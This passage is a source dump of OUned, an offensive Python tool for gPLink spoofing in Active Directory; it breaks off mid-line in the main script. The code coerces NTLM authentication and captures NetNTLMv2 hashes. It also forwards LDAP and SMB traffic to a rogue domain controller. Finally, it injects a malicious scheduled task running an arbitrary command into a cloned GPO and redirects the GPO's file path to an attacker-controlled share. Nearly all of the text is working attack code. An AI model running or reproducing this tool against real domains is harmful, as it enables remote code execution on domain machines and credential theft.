├── .gitignore ├── GPT_out └── .placeholder ├── OUned.py ├── README.md ├── addcomputer_LDAP_spn.py ├── cleaning └── .placeholder ├── conf.py ├── config.example.ini ├── helpers ├── clean_utils.py ├── forwarder.py ├── ldap_utils.py ├── ouned_smbserver.py ├── scheduledtask_utils.py ├── smb_utils.py └── version_utils.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Editors 2 | .vscode/ 3 | .idea/ 4 | 5 | # Vagrant 6 | .vagrant/ 7 | 8 | # Mac/OSX 9 | .DS_Store 10 | 11 | # Windows 12 | Thumbs.db 13 | 14 | # Source for the following rules: https://raw.githubusercontent.com/github/gitignore/master/Python.gitignore 15 | # Byte-compiled / optimized / DLL files 16 | __pycache__/ 17 | *.py[cod] 18 | *$py.class 19 | 20 | # C extensions 21 | *.so 22 | 23 | # Distribution / packaging 24 | .Python 25 | build/ 26 | develop-eggs/ 27 | dist/ 28 | downloads/ 29 | eggs/ 30 | .eggs/ 31 | lib/ 32 | lib64/ 33 | parts/ 34 | sdist/ 35 | var/ 36 | wheels/ 37 | *.egg-info/ 38 | .installed.cfg 39 | *.egg 40 | MANIFEST 41 | 42 | # PyInstaller 43 | # Usually these files are written by a python script from a template 44 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 45 | *.manifest 46 | *.spec 47 | 48 | # Installer logs 49 | pip-log.txt 50 | pip-delete-this-directory.txt 51 | 52 | # Unit test / coverage reports 53 | htmlcov/ 54 | .tox/ 55 | .nox/ 56 | .coverage 57 | .coverage.* 58 | .cache 59 | nosetests.xml 60 | coverage.xml 61 | *.cover 62 | .hypothesis/ 63 | .pytest_cache/ 64 | 65 | # Translations 66 | *.mo 67 | *.pot 68 | 69 | # Django stuff: 70 | *.log 71 | local_settings.py 72 | db.sqlite3 73 | 74 | # Flask stuff: 75 | instance/ 76 | .webassets-cache 77 | 78 | # Scrapy stuff: 79 | .scrapy 80 | 81 | # Sphinx documentation 82 | docs/_build/ 83 | 84 | # PyBuilder 85 | target/ 86 | 87 | # Jupyter Notebook 88 | .ipynb_checkpoints 89 | 90 | # IPython 91 | profile_default/ 92 | ipython_config.py 93 | 94 | # pyenv 95 | .python-version 96 | 97 | # celery beat schedule file 98 | celerybeat-schedule 99 | 100 | # SageMath parsed files 101 | *.sage.py 102 | 103 | # Environments 104 | .env 105 | .venv 106 | env/ 107 | venv/ 108 | ENV/ 109 | env.bak/ 110 | venv.bak/ 111 | 112 | # Spyder project settings 113 | .spyderproject 114 | .spyproject 115 | 116 | # Rope project settings 117 | .ropeproject 118 | 119 | # mkdocs documentation 120 | /site 121 | 122 | # mypy 123 | .mypy_cache/ 124 | .dmypy.json 125 | dmypy.json 126 | 127 | -------------------------------------------------------------------------------- /GPT_out/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/synacktiv/OUned/e4a8d10a9afdfb307a4baa7acb3c8e54d0199a59/GPT_out/.placeholder -------------------------------------------------------------------------------- /OUned.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import time 3 | import typer 4 | import socket 5 | import logging 6 | import traceback 7 | import configparser 8 | import dns.resolver 9 | 10 | import _thread as thread 11 | import helpers.forwarder as forwarder 12 | 13 | from time import sleep 14 | from ldap3 import Server, Connection, NTLM, SUBTREE, ALL_ATTRIBUTES 15 | from impacket.ntlm import compute_lmhash, compute_nthash 16 | from typing_extensions import Annotated 17 | from helpers.smb_utils import get_smb_connection, download_initial_gpo, upload_directory_to_share, recursive_smb_delete 18 | from helpers.clean_utils import init_save_file, save_attribute_value, clean 19 | from helpers.ldap_utils import get_attribute, modify_attribute, update_extensionNames, ldap_check_credentials 20 | from helpers.scheduledtask_utils import write_scheduled_task 21 | from helpers.version_utils import update_GPT_version_number 22 | from helpers.ouned_smbserver import SimpleSMBServer 23 | 24 | from conf import bcolors, OUTPUT_DIR, GPOTypes, SMBModes 25 | 26 | 27 | def main( 28 | config: Annotated[str, typer.Option("--config", help="The configuration file for OUned")], 29 | skip_checks: Annotated[bool, typer.Option("--skip-checks", help="Do not perform the various checks related to the exploitation setup")] = False, 30 | just_coerce: Annotated[bool, typer.Option("--just-coerce", help="Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is specified, to a local SMB server that will print their NetNTLMv2 hashes")] = False, 31 | coerce_to: Annotated[str, typer.Option("--coerce-to", help="Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address")] = None, 32 | just_clean: Annotated[bool, typer.Option("--just-clean", help="This flag indicates that OUned should only perform cleaning actions from specified cleaning-file")] = False, 33 | cleaning_file: Annotated[str, typer.Option("--cleaning-file", help="The path to the cleaning file in case the --just-clean flag is used")] = None, 34 | verbose: Annotated[bool, typer.Option("--verbose", help="Enable verbose output")] = False 35 | ): 36 | if verbose is False: logging.basicConfig(format='%(message)s', level=logging.WARN) 37 | else: logging.basicConfig(format='%(message)s', level=logging.INFO) 38 | logger = logging.getLogger(__name__) 39 | 40 | 41 | ### ============================ ### 42 | ### Handling the just-clean case ### 43 | ### ============================ ### 44 | if just_clean is True: 45 | logger.warning(f"\n\n{bcolors.BOLD}=== ATTEMPTING TO CLEAN FROM SPECIFIED FILE AND EXITING ==={bcolors.ENDC}") 46 | options = configparser.ConfigParser() 47 | options.read(config) 48 | 49 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true": 50 | ldaps = True 51 | else: 52 | ldaps = False 53 | 54 | target_domain_ldap_session = None 55 | ldap_server_ldap_session = None 56 | if "username" in options["GENERAL"].keys() and options["GENERAL"]["username"]: 57 | username = options["GENERAL"]["username"] 58 | domain = options["GENERAL"]["domain"] 59 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]: 60 | password = options["GENERAL"]["password"] 61 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 62 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 63 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]: 64 | hash = options["GENERAL"]["hash"] 65 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 66 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True) 67 | 68 | if "ldap_username" in options["LDAP"].keys() and options["LDAP"]["ldap_username"] and "ldap_password" in options["LDAP"].keys() and options["LDAP"]["ldap_password"]: 69 | ldap_ip = options["LDAP"]["ldap_ip"] 70 | ldap_machine_name = options["LDAP"]["ldap_machine_name"] 71 | ldap_username = options["LDAP"]["ldap_username"] 72 | ldap_password = options["LDAP"]["ldap_password"] 73 | server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 74 | ldap_server_ldap_session = Connection(server, user=f"{ldap_machine_name[:-1].lower()}.{domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 75 | 76 | clean(target_domain_ldap_session, ldap_server_ldap_session, cleaning_file) 77 | return 78 | 79 | ### ===================================== ### 80 | ### Performing arguments coherence checks ### 81 | ### ===================================== ### 82 | try: 83 | options = configparser.ConfigParser() 84 | options.read(config) 85 | 86 | # These arguments are required - we can't perform the exploit without them 87 | required_options = {"GENERAL": ["domain", "ou", "username", "attacker_ip", "command", "target_type"], 88 | "LDAP": ["ldap_ip", "ldap_username", "ldap_password", "gpo_id", "ldap_machine_name", "ldap_machine_password"], 89 | "SMB": ["smb_mode"]} 90 | for section in required_options.keys(): 91 | for option in required_options[section]: 92 | if option not in options[section].keys() or not options[section][option]: 93 | logger.error(f"{bcolors.FAIL}[!] The {section}>{option} option is required. It must be defined and non-empty in configuration file.") 94 | raise SystemExit 95 | 96 | # Assigning required options to variables 97 | domain = options["GENERAL"]["domain"] 98 | ou = options["GENERAL"]["ou"] 99 | username = options["GENERAL"]["username"] 100 | attacker_ip = options["GENERAL"]["attacker_ip"] 101 | command = options["GENERAL"]["command"] 102 | target_type = options["GENERAL"]["target_type"].lower() 103 | ldap_ip = options["LDAP"]["ldap_ip"] 104 | ldap_username = options["LDAP"]["ldap_username"] 105 | ldap_password = options["LDAP"]["ldap_password"] 106 | gpo_id = options["LDAP"]["gpo_id"] 107 | ldap_machine_name = options["LDAP"]["ldap_machine_name"] 108 | ldap_machine_password = options["LDAP"]["ldap_machine_password"] 109 | smb_mode = options["SMB"]["smb_mode"].lower() 110 | 111 | # These options should have specific accepted values 112 | if target_type != "computer" and target_type != "user": 113 | logger.error(f"{bcolors.FAIL}[!] The GENERAL>target_type option can only be 'user' or 'computer'.{bcolors.ENDC}") 114 | raise SystemExit 115 | if smb_mode != "embedded" and smb_mode != "forwarded": 116 | logger.error(f"{bcolors.FAIL}[!] The SMB>smb_mode option can only be 'embedded' or 'forwarded'.{bcolors.ENDC}") 117 | raise SystemExit 118 | 119 | # We should have at least a "password" or a "hash" option. If both are defined, the password will be used 120 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]: 121 | password = options["GENERAL"]["password"] 122 | hash = None 123 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]: 124 | hash = options["GENERAL"]["hash"] 125 | else: 126 | logger.error(f"{bcolors.FAIL}[!] Need at least one of GENERAL>password / GENERAL/hash.{bcolors.ENDC}") 127 | raise SystemExit 128 | 129 | # If LDAPS is equal to True, we will use LDAPS ; else, we use LDAP 130 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true": 131 | ldaps = True 132 | else: 133 | ldaps = False 134 | 135 | # If an LDAP hostname was defined, assign it ; else, initialize variable as None 136 | if "ldap_hostname" in options["LDAP"].keys() and options["LDAP"]["ldap_hostname"]: 137 | ldap_hostname = options["LDAP"]["ldap_hostname"] 138 | else: 139 | ldap_hostname = None 140 | 141 | # If the user provided a share name, we will use it ; otherwise, default to 'share' 142 | if "share_name" in options["SMB"].keys() and options["SMB"]["share_name"]: 143 | smb_share_name = options["SMB"]["share_name"] 144 | else: 145 | smb_share_name = 'share' 146 | 147 | # If the user wants the 'forwarded' SMB mode ... 148 | if smb_mode == 'forwarded': 149 | # ... we should have an SMB IP to forward to 150 | if "smb_ip" not in options["SMB"] or not options["SMB"]["smb_ip"]: 151 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_ip option.{bcolors.ENDC}") 152 | raise SystemExit 153 | else: 154 | smb_ip = options["SMB"]["smb_ip"] 155 | 156 | # ... We will take the smb_username and smb_password values if they exist, or default to LDAP username and password values 157 | if "smb_username" in options["SMB"].keys() and options["SMB"]["smb_username"]: 158 | smb_username = options["SMB"]["smb_username"] 159 | else: 160 | smb_username = ldap_username 161 | if "smb_password" in options["SMB"].keys() and options["SMB"]["smb_password"]: 162 | smb_password = options["SMB"]["smb_password"] 163 | else: 164 | smb_password = ldap_password 165 | 166 | # ... We should have an SMB machine account and its associated password 167 | if "smb_machine_name" not in options["SMB"] or not options["SMB"]["smb_machine_name"]: 168 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_name option.{bcolors.ENDC}") 169 | raise SystemExit 170 | elif "smb_machine_password" not in options["SMB"] or not options["SMB"]["smb_machine_password"]: 171 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_password option.{bcolors.ENDC}") 172 | raise SystemExit 173 | else: 174 | smb_machine_name = options["SMB"]["smb_machine_name"] 175 | smb_machine_password = options["SMB"]["smb_machine_password"] 176 | 177 | # If the target type is user and we are using smb embedded mode, display a warning 178 | if target_type == "user" and smb_mode == "embedded" and just_coerce is not True: 179 | confirmation = typer.prompt(f"{bcolors.WARNING}[?] You are trying to target user objects while using embedded SMB mode, which will not work. Do you still want to continue ? [yes/no] {bcolors.ENDC}") 180 | if confirmation.lower() != 'yes': 181 | raise SystemExit 182 | 183 | 184 | except SystemExit: 185 | sys.exit(1) 186 | except: 187 | logger.error(f"{bcolors.FAIL}[!] Unhandled exception while performing configuration options checks on file {config}. Is the file correctly formated ?{bcolors.ENDC}") 188 | traceback.print_exc() 189 | sys.exit(1) 190 | 191 | 192 | domain_dn = ",".join("DC={}".format(d) for d in domain.split(".")) 193 | computer_dn = "CN=Computers," + domain_dn 194 | ldap_domain = f"{ldap_machine_name[:-1].lower()}.{domain}" 195 | ldap_domain_dn = f"DC={ldap_machine_name[:-1]},{domain_dn}" 196 | 197 | if skip_checks is False: 198 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING VARIOUS SANITY CHECKS RELATED TO THE SETUP ==={bcolors.ENDC}") 199 | ### ==================================================== ### 200 | ### Verifying the existence of the LDAP computer account ### 201 | ### ==================================================== ### 202 | try: 203 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 204 | check_session = Connection(server, user=f"{domain}\\{ldap_machine_name}", password=ldap_machine_password, authentication=NTLM, auto_bind=True) 205 | except: 206 | traceback.print_exc() 207 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided LDAP machine account {ldap_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}") 208 | logger.error(f"python3 addcomputer_with_spns.py -computer-name {ldap_machine_name} -computer-pass '{ldap_machine_password}' -method LDAPS '{domain}/{username}:{password}'") 209 | sys.exit(1) 210 | logger.warning(f"{bcolors.OKGREEN}[+] LDAP computer account {ldap_machine_name} valid in target domain.{bcolors.ENDC}") 211 | 212 | 213 | ### ================================================================================= ### 214 | ### Verifying the existence of the SMB computer account in case of forwarded SMB mode ### 215 | ### ================================================================================= ### 216 | if smb_mode == "forwarded": 217 | try: 218 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 219 | check_session = Connection(server, user=f"{domain}\\{smb_machine_name}", password=smb_machine_password, authentication=NTLM, auto_bind=True) 220 | except: 221 | traceback.print_exc() 222 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided SMB machine account {smb_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}") 223 | logger.error(f"python3 addcomputer.py -computer-name {smb_machine_name} -computer-pass '{smb_machine_password}' -method LDAPS '{domain}/{username}:{password}'") 224 | sys.exit(1) 225 | logger.warning(f"{bcolors.OKGREEN}[+] SMB computer account {smb_machine_name} valid in target domain.{bcolors.ENDC}") 226 | 227 | 228 | ### ============================= ### 229 | ### Verifying the LDAP DNS record ### 230 | ### ============================= ### 231 | try: 232 | dns_result = socket.gethostbyname(f'{ldap_machine_name[:-1]}.{domain}') 233 | except socket.error: 234 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {ldap_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}") 235 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 236 | sys.exit(1) 237 | 238 | if dns_result != attacker_ip: 239 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {ldap_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}") 240 | logger.error(f"You may want to delete the existing DNS record, and run the following command:") 241 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 242 | sys.exit(1) 243 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {ldap_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}") 244 | 245 | 246 | ### ===================================================== ### 247 | ### Verifying the SMB DNS record in case of forwarded SMB ### 248 | ### ===================================================== ### 249 | if smb_mode == "forwarded": 250 | try: 251 | dns_result = socket.gethostbyname(f'{smb_machine_name[:-1]}.{domain}') 252 | except socket.error: 253 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {smb_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}") 254 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 255 | sys.exit(1) 256 | 257 | if dns_result != attacker_ip: 258 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {smb_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}") 259 | logger.error(f"You may want to delete the existing DNS record, and run the following command:") 260 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 261 | sys.exit(1) 262 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {smb_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}") 263 | 264 | 265 | 266 | ### ====================================== ### 267 | ### Verifying the password synchronization ### 268 | ### ====================================== ### 269 | ''' 270 | try: 271 | resolver = dns.resolver.Resolver() 272 | resolver.nameservers = [ldap_ip] 273 | answers = resolver.resolve(f"_ldap._tcp.{ldap_domain}", 'SRV') 274 | parsed = str(answers[0].target).split(".", 1) 275 | ldap_check_hostname = parsed[0] 276 | except: 277 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{ldap_domain}. Are you sure the domain name of your LDAP server is {ldap_domain} as expected ?{bcolors.ENDC}") 278 | confirmation = typer.prompt("[?] Do you still want to continue ? (I will not be able to check that the password of the LDAP server is the same as the machine account) [yes/no] ") 279 | if confirmation.lower() != 'yes': 280 | sys.exit(1) 281 | ''' 282 | 283 | # Check if we can login to LDAP server 284 | if ldap_hostname is not None: 285 | if ldap_check_credentials(ldap_ip, f"{ldap_hostname.upper()}$" if not ldap_hostname.endswith('$') else f"{ldap_hostname.upper()}", ldap_machine_password, ldap_domain) is False: 286 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the LDAP server for the DC hostname and the machine password. Are you sure the LDAP server has the password {ldap_machine_password} ?{bcolors.ENDC}") 287 | confirmation = typer.prompt("[?] Do you still want to continue ? Things may break [yes/no] ") 288 | if confirmation.lower() != 'yes': 289 | sys.exit(1) 290 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to LDAP server with DC account and LDAP machine_password. LDAP and machine account passwords are synchronized.{bcolors.ENDC}") 291 | 292 | # For the SMB server, only perform checks if we are in "forwarded" mode 293 | if smb_mode == "forwarded" and just_coerce is False: 294 | ''' 295 | try: 296 | # Check if the SMB domain controller matches the machine account DNS record of target domain 297 | resolver = dns.resolver.Resolver() 298 | resolver.nameservers = [smb_ip] 299 | answers = resolver.resolve(f"_ldap._tcp.{domain}", 'SRV') 300 | parsed = str(answers[0].target).split(".", 1) 301 | smb_check_hostname = parsed[0] 302 | except: 303 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{domain} with SMB nameserver. Are you sure the domain name of your SMB server is {domain} as expected ?{bcolors.ENDC}") 304 | 305 | if smb_check_hostname is not None and smb_check_hostname != machine_name[:-1]: 306 | logger.error(f"{bcolors.FAIL}[!] Resolved SMB server hostname ({smb_check_hostname}) is not {machine_name[:-1]} as expected ?{bcolors.ENDC}") 307 | failure = True 308 | ''' 309 | # Check if we can login to SMB server 310 | if ldap_check_credentials(smb_ip, f"{smb_machine_name}", smb_machine_password, domain) is False: 311 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the SMB server for the DC hostname and the SMB machine password. Are you sure the SMB server has the password {smb_machine_password} ?{bcolors.ENDC}") 312 | confirmation = typer.prompt("[?] Do you still want to continue ? (things may break) [yes/no] ") 313 | if confirmation.lower() != 'yes': 314 | sys.exit(1) 315 | else: 316 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to SMB server with DC account and SMB machine_password. SMB server and SMB machine account passwords are synchronized.{bcolors.ENDC}") 317 | 318 | 319 | 320 | ### ============================================ ### 321 | ### Launching port forwarding server in a thread ### 322 | ### ============================================ ### 323 | logger.warning(f"\n\n{bcolors.BOLD}=== SETTING UP PORT FORWARDING ==={bcolors.ENDC}") 324 | logger.warning(f"[*] Creating LDAP port forwarding. All traffic incoming on port 389 on attacker machine ({attacker_ip}) should be redirected on port 389 of the fake LDAP server ({ldap_ip})") 325 | forwarder_settings = (attacker_ip, 389, ldap_ip, 389) 326 | thread.start_new_thread(forwarder.server, forwarder_settings) 327 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:389 -> {ldap_ip}:389){bcolors.ENDC}") 328 | 329 | if smb_mode == "forwarded" and just_coerce is not True: 330 | logger.warning(f"\n[*] Creating SMB port forwarding. All traffic incoming on port 445 on attacker machine ({attacker_ip}) should be redirected on port 445 of the fake SMB server ({smb_ip})") 331 | forwarder_settings = (attacker_ip, 445, smb_ip, 445) 332 | thread.start_new_thread(forwarder.server, forwarder_settings) 333 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:445 -> {ldap_ip}:445){bcolors.ENDC}") 334 | 335 | 336 | ### ================================================================================== ### 337 | ### Cloning the rogue DC GPO, add an immediate task to it, and store it in GPT_out ### 338 | ### Spoofing the gPCFileSysPath attribute of the cloned GPO, and update its extensions ### 339 | ### ================================================================================== ### 340 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING GPO OPERATIONS (CLONING, INJECTING SCHEDULED TASK, UPLOADING TO SMB SERVER IF NEEDED) ==={bcolors.ENDC}") 341 | save_file_name = init_save_file(ou) 342 | logger.info(f"[*] The save file for current exploit run is {save_file_name}") 343 | 344 | logger.warning(f"[*] Cloning GPO {gpo_id} from fakedc {ldap_ip}.") 345 | try: 346 | smb_session = get_smb_connection(ldap_ip, ldap_username, ldap_password, None, ldap_domain) 347 | download_initial_gpo(smb_session, ldap_domain, gpo_id) 348 | except: 349 | logger.critical(f"{bcolors.FAIL}[!] Failed to download GPO from fakedc (ldap_ip: {ldap_ip} ; ldap_username: {ldap_username} ; ldap_password: {ldap_password} ; fakedc domain: {ldap_domain}). Exiting...{bcolors.ENDC}", exc_info=True) 350 | sys.exit(1) 351 | 352 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully downloaded GPO from fakedc to '{OUTPUT_DIR}' folder.{bcolors.ENDC}") 353 | 354 | logger.warning(f"[*] Injecting malicious scheduled task into downloaded GPO") 355 | try: 356 | write_scheduled_task(target_type, command, False) 357 | except: 358 | logger.critical(f"{bcolors.FAIL}[!] Failed to write malicious scheduled task to downloaded GPO. Exiting...{bcolors.ENDC}", exc_info=True) 359 | sys.exit(1) 360 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully injected malicious scheduled task.{bcolors.ENDC}") 361 | 362 | 363 | try: 364 | gpo_dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format(ldap_domain_dn) 365 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 366 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 367 | if smb_mode == "embedded" or just_coerce is True: 368 | if just_coerce is True and coerce_to is not None: 369 | smb_path = f'\\\\{coerce_to}\\{smb_share_name}' 370 | else: 371 | smb_path = f'\\\\{attacker_ip}\\{smb_share_name}' 372 | else: 373 | smb_path = f'\\\\{smb_machine_name[:-1].lower()}.{domain}\\{smb_share_name}' 374 | 375 | initial_gpcfilesyspath = get_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath") 376 | logger.warning(f"[*] Modifying gPCFileSysPath attribute of GPO on fakedc to {smb_path} (initial value saved: {initial_gpcfilesyspath})") 377 | result = modify_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath", smb_path) 378 | if result is not True: raise Exception 379 | except: 380 | print(traceback.print_exc()) 381 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPCFileSysPath attribute of the fakedc GPO. Exiting...{bcolors.ENDC}") 382 | sys.exit(1) 383 | save_attribute_value("gPCFileSysPath", initial_gpcfilesyspath, save_file_name, "ldap_server", gpo_dn) 384 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated gPCFileSysPath attribute of fakedc GPO.{bcolors.ENDC}") 385 | 386 | 387 | try: 388 | attribute_name = "gPCMachineExtensionNames" if target_type == "computer" else "gPCUserExtensionNames" 389 | extensionName = get_attribute(ldap_server_session, gpo_dn, attribute_name) 390 | updated_extensionName = update_extensionNames(extensionName) 391 | logger.warning(f"[*] Modifying {attribute_name} attribute of GPO on fakedc to {updated_extensionName}") 392 | result = modify_attribute(ldap_server_session, gpo_dn, attribute_name, updated_extensionName) 393 | if result is not True: raise Exception 394 | except: 395 | print(traceback.print_exc()) 396 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the GPC extension names for the fakedc GPO. Cleaning and exiting...{bcolors.ENDC}") 397 | clean(None, ldap_server_session, save_file_name) 398 | sys.exit(1) 399 | save_attribute_value(attribute_name, extensionName, save_file_name, "ldap_server", gpo_dn) 400 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated extension names of fakedc GPO.{bcolors.ENDC}") 401 | 402 | try: 403 | logger.warning(f"[*] Incrementing fakedc GPO version number (GPC and cloned GPT). This is actually mainly to ensure it is not 0...") 404 | versionNumber = int(get_attribute(ldap_server_session, gpo_dn, "versionNumber")) 405 | updated_version = versionNumber + 1 if target_type == "computer" else versionNumber + 65536 406 | result = modify_attribute(ldap_server_session, gpo_dn, "versionNumber", updated_version) 407 | update_GPT_version_number(ldap_server_session, gpo_dn, target_type) 408 | except: 409 | print(traceback.print_exc()) 410 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify GPC/GPT version number of fakedc GPO.{bcolors.ENDC}") 411 | logger.critical("[*] Continuing...") 412 | save_attribute_value("versionNumber", versionNumber, save_file_name, "ldap_server", gpo_dn) 413 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated GPC versionNumber attribute{bcolors.ENDC}") 414 | 415 | 416 | ### ================================================== ### 417 | ### For forwarded SMB, writing GPO to SMB server share ### 418 | ### ================================================== ### 419 | if smb_mode == "forwarded" and just_coerce is not True: 420 | try: 421 | smb_session_smb = get_smb_connection(smb_ip, smb_username, smb_password, None, domain) 422 | recursive_smb_delete(smb_session_smb, smb_share_name, '*') 423 | upload_directory_to_share(smb_session_smb, smb_share_name) 424 | except: 425 | traceback.print_exc() 426 | logger.critical(f"{bcolors.FAIL}[!] Failed to upload GPO to SMB server.{bcolors.ENDC}") 427 | clean(None, ldap_server_session, save_file_name) 428 | sys.exit(1) 429 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully uploaded GPO to SMB server {smb_ip}, on share {smb_share_name}.{bcolors.ENDC}") 430 | 431 | ### ============================================== ### 432 | ### Spoofing the gPLink attribute of the target OU ### 433 | ### ============================================== ### 434 | logger.warning(f"\n\n{bcolors.BOLD}=== SPOOFING THE GPLINK ATTRIBUTE OF THE TARGET OU ==={bcolors.ENDC}") 435 | try: 436 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False) 437 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 438 | except: 439 | print(traceback.print_exc()) 440 | logger.critical(f"{bcolors.FAIL}[!] Could not establish an LDAP connection to target domain with provided credentials ({domain}\{username}:{password}).{bcolors.ENDC}") 441 | clean(ldap_session, ldap_server_session, save_file_name) 442 | sys.exit(1) 443 | 444 | logger.warning(f"[*] Searching the target OU '{ou}'.") 445 | search_filter = f'(ou={ou})' 446 | attributes = [ALL_ATTRIBUTES] 447 | ldap_session.search(domain_dn, search_filter, SUBTREE, attributes=attributes) 448 | ldap_entries = len(ldap_session.entries) 449 | if ldap_entries == 1: 450 | ou_dn = ldap_session.entries[0].entry_dn 451 | logger.warning(f"{bcolors.OKGREEN}[+] Organizational unit found - {ou_dn}.{bcolors.ENDC}") 452 | elif ldap_entries >= 2: 453 | logger.warning(f"{bcolors.OKBLUE}[+] Several OUs matching this name have been found.{bcolors.ENDC}") 454 | numEntry = 0 455 | for entry in ldap_session.entries: 456 | logger.warning(f"{bcolors.OKBLUE}[+] {numEntry+1} : {entry.entry_dn}.{bcolors.ENDC}") 457 | numEntry+=1 458 | targetEntry = input(f"{bcolors.OKBLUE}[+] Select which OU you want to target : {bcolors.ENDC}") 459 | try: 460 | targetEntry = int(targetEntry) 461 | if(targetEntry > ldap_entries): 462 | raise Exception 463 | except: 464 | logger.critical(f"{bcolors.FAIL}[!] Failed to select target OU.{bcolors.ENDC}") 465 | clean(ldap_session, ldap_server_session, save_file_name) 466 | sys.exit(1) 467 | 468 | ou_dn = ldap_session.entries[targetEntry-1].entry_dn 469 | logger.warning(f"{bcolors.OKGREEN}[+] The OU has been successfully targeted. - {ou_dn}.{bcolors.ENDC}") 470 | 471 | else: 472 | logger.error(f"{bcolors.FAIL}[!] Could not find Organizational Unit with name {ou}.{bcolors.ENDC}") 473 | clean(ldap_session, ldap_server_session, save_file_name) 474 | sys.exit(1) 475 | 476 | logger.warning(f"[*] Retrieving the initial gPLink value to prepare for cleaning.") 477 | 478 | try: 479 | spoofed_gPLink = f"[LDAP://cn={{{gpo_id}}},cn=policies,cn=system,{ldap_domain_dn};0]" 480 | initial_gPLink = get_attribute(ldap_session, ou_dn, 